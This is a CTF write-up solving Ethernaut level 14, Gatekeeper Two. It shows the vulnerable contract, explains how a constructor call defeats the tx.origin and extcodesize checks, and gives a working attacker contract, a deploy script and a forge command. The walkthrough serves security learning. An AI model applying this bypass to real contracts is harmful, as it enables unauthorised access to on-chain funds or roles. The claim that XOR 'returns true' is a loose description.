The Ethernaut CTF Solutions | 14 - Gate Keeper Two

The Ethernaut CTF Solutions | 14 - Gate Keeper Two

Beyond the Gates: Decoding Three-Fold Security in Ethereum Contracts

ยท

3 min read

Goals

Same principles as the Gate Keeper One, but with different modifiers.

The contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        uint x;
        assembly {
            x := extcodesize(caller())
        }
        require(x == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(
            uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^
                uint64(_gateKey) ==
                type(uint64).max
        );
        _;
    }

    function enter(
        bytes8 _gateKey
    ) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

The hack

Let's see how to beat the second gatekeeper and pass its three new modifiers.

Modifier 1

modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
}

Lucky us, this is the same modifier as the previous level, so we can use a contract to call the function. Or can we?

Modifier 2

modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
}

The extcodesize opcode returns the size of the code at the given address, caller() here. If the address is a contract, it will return the size of the contract's code. If the address is an EOA (Externally Owned Account), it will return 0.

So, it seems that we can't use an intermediary contract after all since there can be no code at the caller's address. However, there is no way to pass the first gate otherwise. Is there another solution then?

Well yes, there is. If we execute our call from a constructor, the extcodesize will return 0 since the contract hasn't been deployed yet technically. This little trick will allow us to pass both the first modifier (tx.origin will not be equal to msg.sender) and the second modifier (since the extcodesize will still be 0 within the constructor).

Let's move on to the third modifier.

Modifier 3

modifier gateThree(bytes8 _gateKey) {
     require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
    _;
}

This one looks pretty ugly at first glance, but let's take a better look at the XOR operator first. The XOR operator returns true if the two operands are different. So, if A ^ B == C, then A ^ C == B and B ^ C == A.

So we could rewrite the modifier like this (which is much nicer, let's be honest):

modifier gateThree(bytes8 B) {
    require(uint64(A) ^ uint64(B) == uint64(C));
    _;
}

In other words, no need to think too much here, the _gateKey will simply be equal to:

// bytes8(uint64(B)) == bytes8(uint64(A) ^ uint64(C))
bytes8 _gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);

Solution

Now, we have everything we need to craft our smart contract to pass the three gates:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract GateSkipperTwo {
    constructor(address _gateKeeperTwo) {
        attack(_gateKeeperTwo);
    }

    function attack(address gateKeeperTwo) private {
        bytes8 _gateKey = bytes8(
            uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^
                type(uint64).max
        );

        (bool success, ) = gateKeeperTwo.call(
            abi.encodeWithSignature("enter(bytes8)", _gateKey)
        );
        require(success, "Attack failed");
    }
}

Notice how the attack() function is called directly in the constructor.

Then, let's write the script to deploy our GateSkipperTwo contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {GateSkipperTwo} from "../src/14_GateKeeperTwo.sol";

interface IGateKeeperTwo {
    function entrant() external view returns (address);
}

contract PoC is Script {
    // Replace with your GateKeeperTwo instance
    address private immutable gateTwo =
        0x9a8a9bAFCFaDe41A74808af3c3a7280615817Cf2; 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        new GateSkipperTwo(gateTwo);
        console2.log("Entrant: ", IGateKeeperTwo(gateTwo).entrant());

        vm.stopBroadcast();
    }
}

And run the script with the following command:

forge script script/14_GateKeeperTwo.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • The extcodesize opcode returns the size of the code at the given address.

  • The contract's size is 0 in the constructor.

  • The XOR operator ^ returns true if the two operands are different.

Reference


You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย